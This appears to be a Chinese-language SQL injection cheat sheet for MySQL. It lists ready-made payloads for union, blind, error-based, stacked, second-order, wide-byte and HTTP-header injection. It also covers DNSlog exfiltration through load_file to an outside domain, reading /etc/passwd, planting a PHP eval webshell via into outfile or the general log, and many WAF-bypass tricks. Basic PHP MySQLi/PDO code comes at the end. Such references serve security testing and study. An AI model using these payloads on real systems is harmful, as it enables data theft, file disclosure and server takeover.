SQL注入
1.基础语法
mysql -u root -proot,连接MySQL
@@basedir,数据库安装路径
@@datadir,数据库数据路径
show databases; show tables; show columns from 数据库名.表名;
alter table user add (id int(10),name var_char(255)); 插入字段
insert into user(name) values('xxx'),('xxx'); 插入数据
update user set name='admin' where name='hacker'; 更改
delete from tabel_name where id=1; 删除
2.类型检测
字符型,?id=1' and 1=2 --+
数字型,id=1 and 1=2
XX型,') and 1=2 --+
3.利用方式(MySQL)
万能密码
' or 1=1 #
union注入(有时要用union all)
?id=1' order by n %23 判断主查询字段位数,where...order by...and...这种情况order by会被忽略
?id=-1' union select database() %23 查当前数据库名
?id=-1' union select group_concat(schema_name) from information_schema.schemata %23 查所有数据库名
?id=-1' union select group_concat(table_name) from information_schema.tables where table_schema=database() %23 查表名
?id=-1' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' %23 查字段名
?id=-1' union select group_concat(字段名) from 表名 %23 查字段内容
布尔盲注
?id=1' and (select count(*) from 表名)=n %23 表的行数为n
?id=1' and length((select 字段名 from 表名 limit n-1,1))=m %23 第n个值长度为m
?id=1' and ascii(substr((select 字段名 from 表名 limit n-1,1),m,1))=p %23 第n个字段第m个字母Ascii为p
时间盲注
?id=1' and sleep(3) %23 检测
?id=1' and if(length(database())=n,sleep(3),1) %23 当前数据库名长度为n
floor报错注入
?id=1' and (select 1 from (select count(*),concat((database()),floor(rand(14)*2))x from information_schema.schemata group by x)a) %23 查当前数据库名(14是最高效的)
原理:
count(*)与group by创建虚拟表,floor(rand(14)*2伪随机前几个结果固定为1010
key | count(*) |
第一次等效concat((database()),'1')),在key中找不到这个值应该放入key,但是由于rand()会先一步执行导致放入concat((database()),'0'))
key | count(*) |
database()0 | 1 |
第二次等效concat((database()),'1')),在key中找不到这个值应该放入key,但是由于rand()会先一步执行导致放入concat((database()),'0'))
key | count(*) |
database()0 | 1 |
database()0 |
主键出现重复导致报错,会将database()0爆出
派生表必须有别名,这里用a
操作数必须包含一列所以select 1 from
updatexml报错注入
从不符合Xpath语法格式的地方开始报错,~(0x7e)就不符合
?id=1' and updatexml(1,concat(0x7e,(database())),1) %23 查当前数据库名
extractvalue报错注入
从不符合Xpath语法格式的地方开始报错,~(0x7e)就不符合
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23 查当前数据库名
堆叠注入
mysqli_multi_query()支持多条SQL语句执行
?id=1';SQL语句;SQL语句...
二次注入
修改密码,例:
注册用户名为admin'#,UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass';
宽字节注入
后端存在转义,将'转义为\',也就是%5c'
但是如果数据库为GBK编码可以使用%81'绕过
GBK编码,%81%5c代表一个字符,这样就变成了?'
HTTP头注入
User-Agent、Referer、Cookie等
可以结合报错注入'and extractvalue(1,concat(0x7e,database())) and'、'or extractvalue(1,concat(0x7e,database())) or'
DNSlog外带
条件:my.ini配置允许导入导出,secure_file_priv=
http://dnslog.cn/,Get SubDomain获取域名,Refresh Record查看回显
?id=1' and load_file(concat('\\\\',(database()),'.域名/1')) %23 查当前数据库名
读取文件
条件:my.ini配置允许导入导出,secure_file_priv=
select load_file('/etc/passwd')
写入一句话木马
条件:my.ini配置允许导入导出,secure_file_priv=
select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
phpMyAdmin获取WebShell
show global variables like '%secure%' 查看配置,如果secure_file_priv=,可以直接写入一句话
show global variables like '%general%' 查看日志是否开启
set global general_log=on 开启日志
set global general_log_file='根目录绝对路径' 修改日志路径
select '<?php @eval($_POST[1]);?>' 将一句话记录到日志,日志变为一句话木马
4.WAF绕过
MySQL特性
函数名
大小写
ascii('1')、char(49)、hex('16')、unhex(3136)
sleep(3)、BENCHMARK(700000000,(null))
concat('1','2')、group_concat('1','2')、concat_ws('','1','2')
substr('123',1,1)、mid('123',1,1)、substring('123',1,1)、left('123',1)、lpad('left',1,'x')、rpad('left',1,'x')、right(reverse('123'),'1')
@@user user()
@@version version()
空格
%0a(换行)、%a0(空白)、%0b(垂直tab)、%09(水平tab)、%0c(新一页)、%0d(回车)
/**/、/*!...*/、/*!50000版本>5可执行*/、""、(password)、{x+password}、union(select...)
1.0union、1E0union、\Nunion、1.0from、1E0from、\Nfrom
select+1,...、select-1,...、select!1,...、select@1,...、select~1,...、select\N,...
SELECT 逗号
select name,pass from users where id=-1 union select * from (select database())a join (select database())b;
其他
anD、oR,&&、||
=、like 7、like '%admin_'
order by、group by
limit 0,1、limit 1 offset 0
>、<、greatest(1,2)、least(1,2)
服务器特性
ASP+IIS
s%elect 解析为 select
ASP+IIS & ASPX + IIS
常用解析表:
u %u0055 %u0075
n %u004e %u006e
i %u0049 %u0069
o %u004f %u006f %u00ba
s %u0053 %u0073
l %u004c %u006c
e %u0045 %u0065 %u00f0
c %u0043 %u0063
t %u0054 %u0074 %u00de %u00fe
f %u0046 %u0066
r %u0052 %u0072
m %u004d %u006d
Apache
请求方式不影响:HACK /sql.php?id=1 HTTP/1.1
ASP/PHP
/index.php/1.js?id=
/index.asp/1.js?id=
参数污染
?id=1&id=2&id=3
PHP + Apache:id=3
ASP/ASP.NET + IIS:id=1,2,3
宽字节
union = uю%69яю
select = こхlх%уt
from = цR%яэ
%20=%ва
, = Ь
双重编码
WAF特性
逻辑漏洞
HTTPS、HTTP
同时GET、POST
改变请求方式,GET转POST、POST用multipart/form-data
<form method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
无效参数:?a=/*&id=SQL&b=*/(让WAF误以为注释掉了)
高频提交
其他漏洞
00截断:?id=1%00SQL
溢出:?id=1&id=1&...&id=SQL
IP白名单
X-Forwarded-For
X-Real-IP
Remote-Addr
X-Originating-IP
URL白名单
?a=/admin/&id=
爬虫白名单
User-Agent: xxx
5.PHP MySQL实现
MySQLi
连接数据库
<?php
$servername = 'localhost';
$username = 'root';
$password = 'root';
$dbname = "lx";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die($conn->connect_error);
}
查询
$sql = 'select * from users;';
$result = $conn->query($sql);
// $result = mysqli_query($conn, $sql);
while($row = $result->fetch_assoc()) {
echo $row['id'].$row['name'].$row['pass'].'<br>';
}
$sql = 'select * from users;';
$result = mysqli_multi_query($conn, $sql);
do{
$result=mysqli_store_result($conn);
while($row = $result->fetch_assoc()) {
echo $row['id'].$row['name'].$row['pass'].'<br>';
}
} while (mysqli_next_result($conn));
PDO
连接数据库
<?php
$servername = 'localhost';
$username = 'root';
$password = 'root';
$dbname = 'lx';
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
}
catch(PDOException $e) {
$conn->rollback(); // 如果执行失败回滚
echo $e->getMessage();
}
执行语句
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
$sql = 'create table nothing (id int(10))';
$conn->exec($sql);
}
查询
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
$sql = 'select * from users';
$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($result as $row){
echo $row['id'].$row['name'].$row['pass'].'<br>';
}
}